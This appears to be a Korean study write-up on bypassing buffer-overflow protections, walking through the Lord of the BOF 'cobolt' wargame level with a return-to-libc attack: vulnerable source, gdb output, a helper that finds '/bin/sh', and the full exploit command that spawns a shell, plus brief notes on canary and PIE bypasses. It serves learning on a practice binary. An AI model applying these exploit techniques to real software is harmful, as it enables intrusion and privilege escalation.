2019_05_11_6차시

BOF보호기법 우회하기

1. NX(Non-eXecutable)
    1. RTL기법으로 우회가 가능하다.
2. ASLR (Address Space Layout Randomization)
    1. ASLR도 마찬가지로 RTL기법으로 우회가 가능하다.
    1. RTL기법이란 (Return To libc) 라이브러리 폴더로 들어가서 원하는 shell을 실행시키는것이다.
    2. 보통 lob에서는 shellcode를 이용해서 shell을 따려고 하지만, 막상 많은 ctf문제들을 풀어보면 shellcode를 직접적으로 입력해서 사용하는 문제들을 찾아보기 힘들다.

       따라서 현재까지의 습관을 고치고 앞으로 RTL를 이용해서 문제를 풀어보도록 하겠다.

먼저 로그인을하고 소스코드를 보자.

```
Last login: Fri Jul 13 21:57:40 from 192.168.231.1
[gremlin@localhost gremlin]$ ls
cobolt  cobolt.c
[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
[gremlin@localhost gremlin]$
```

1번문제와 크게 다를게 없어보이지만 버퍼값이 16byte로 쉘코드를 넣기에는 부족하다.

두가지의 방법이있는데.

\1. 환경변수에 쉘을 입력해서 탈취한다.

하지만 환경변수를 이용하는 문제는 CTF에도 자주 나오지않는다.(첫번째 write-up)에서 다룸

\2. RTL기법을 이용해서 쉘을 탈취한다.

RTL기법이란 (Return-to-Libc)의 약자로 리턴을 libc로 주는 것이다.

함수가 실행될때에는 system이라는libc를 사용하게되는데. 이 함수내에는 우리가 원하는 "/bin/sh"도 포함이 되어있다.

ASLR이 적용되어있지않아서 저 함수가 실행되게끔 이동하게된다면 shell을 얻을 수 있을 것이다.

RTL기법이 CTF에서도 많이 사용이 가능하기때문에 이포스팅에선 이 방법을 택할 것이다.

tmp폴더를 생성하고 그 폴더에 복사본을 옮긴다.

```
[gremlin@localhost gremlin]$
[gremlin@localhost gremlin]$
[gremlin@localhost gremlin]$ mkdir tmp
[gremlin@localhost gremlin]$ ls
cobolt  cobolt.c  tmp
[gremlin@localhost gremlin]$ cp cobolt flaaag
[gremlin@localhost gremlin]$ mv flaaag tmp/
[gremlin@localhost gremlin]$ ls
cobolt  cobolt.c  tmp
[gremlin@localhost gremlin]$ cd tmp/
[gremlin@localhost tmp]$ ls
flaaag
[gremlin@localhost tmp]$
```

tmp폴더 내에서 디버깅을 해서 system 함수의 주소를 찾는다.

참고) ASLR이 적용되어있지않아서 주소는 모두 같을 것이다.

system 함수 주소 : "0x40058ae0"

```
[gremlin@localhost tmp]$ ls
flaaag
[gremlin@localhost tmp]$ gdb flaaag
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) b *main
Breakpoint 1 at 0x8048430
(gdb) r
Starting program: /home/gremlin/tmp/flaaag

Breakpoint 1, 0x8048430 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb)
```

이제 문제는 system 함수 내에서 "/bin/sh"를 찾는것이다.

직접 x/100s $esp로 찾아도 좋지만, 컴퓨터가 우리보다 빠르니 프로그램을 작성하도록 하죠!

```
[gremlin@localhost tmp]$ ls
flaaag  whereisshell  whereisshell.c
[gremlin@localhost tmp]$ cat whereisshell.c
#include <stdio.h>

int main()
{
        long shell = 0x40058ae0; //system function start address
        while(memcmp((void*)shell,"/bin/sh", 8)) shell++;
        printf("here is shell address : %x\n\n\n", shell);
        return 0;
}
[gremlin@localhost tmp]$
```

프로그램을 돌렸더니"/bin/sh"의 위치가 "0x400fbff9"가 나왔습니다.

```
[gremlin@localhost tmp]$ ./whereisshell
here is shell address : 400fbff9
```

그래도 exploit해주면 될거같습니다.

exploit 코드 : ./cobolt `python -c 'print "A"*20 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'`

```
[gremlin@localhost gremlin]$ ls
cobolt  cobolt.c  tmp
[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAA@AAAA
bash$ my-pass
euid = 502
[illegible]
bash$
```

(grin)

3. ASCII Armor
    1. PLT+Got overwrite 기법으로 우회가 가능하다.
    2. got overwrite 기법은 상당히 복잡한데, 간단하게 이야기하면 함수의 리턴주소를 변환시키고, 계속 원하는 함수를 이어붙여서 만들어나가는 방법이다. 궁극적목표인 ROPasarous의 풀이법이다.
4. CANARY
    1. Brute Force
        1. canary값은 4byte이므로 1byte씩 브루트포싱을 하면서 canary값을 알아낼 수 있다.
    2. recv, strncpy
        1. rev와 strncpy 함수는 문자열을 입력받을시 NULL이 들어가지 않는다. 이를 이용해 buffer가 printf() 된다면 buffer를 꽉채워 null을 없애 canary까지 출력하게 할 수 있다.
    3. Canary 루틴 노출
        1. **Canary를 만드는 루틴이 노출될 경우 역연산을 통해서 canary를 알아낼 수 있다.**(이 방법이 가장 많

이 쓰인다

5. PIE(Position Independent Executable)
    1. libc주소, system주소, binsh 주소를 찾아서 엮는다.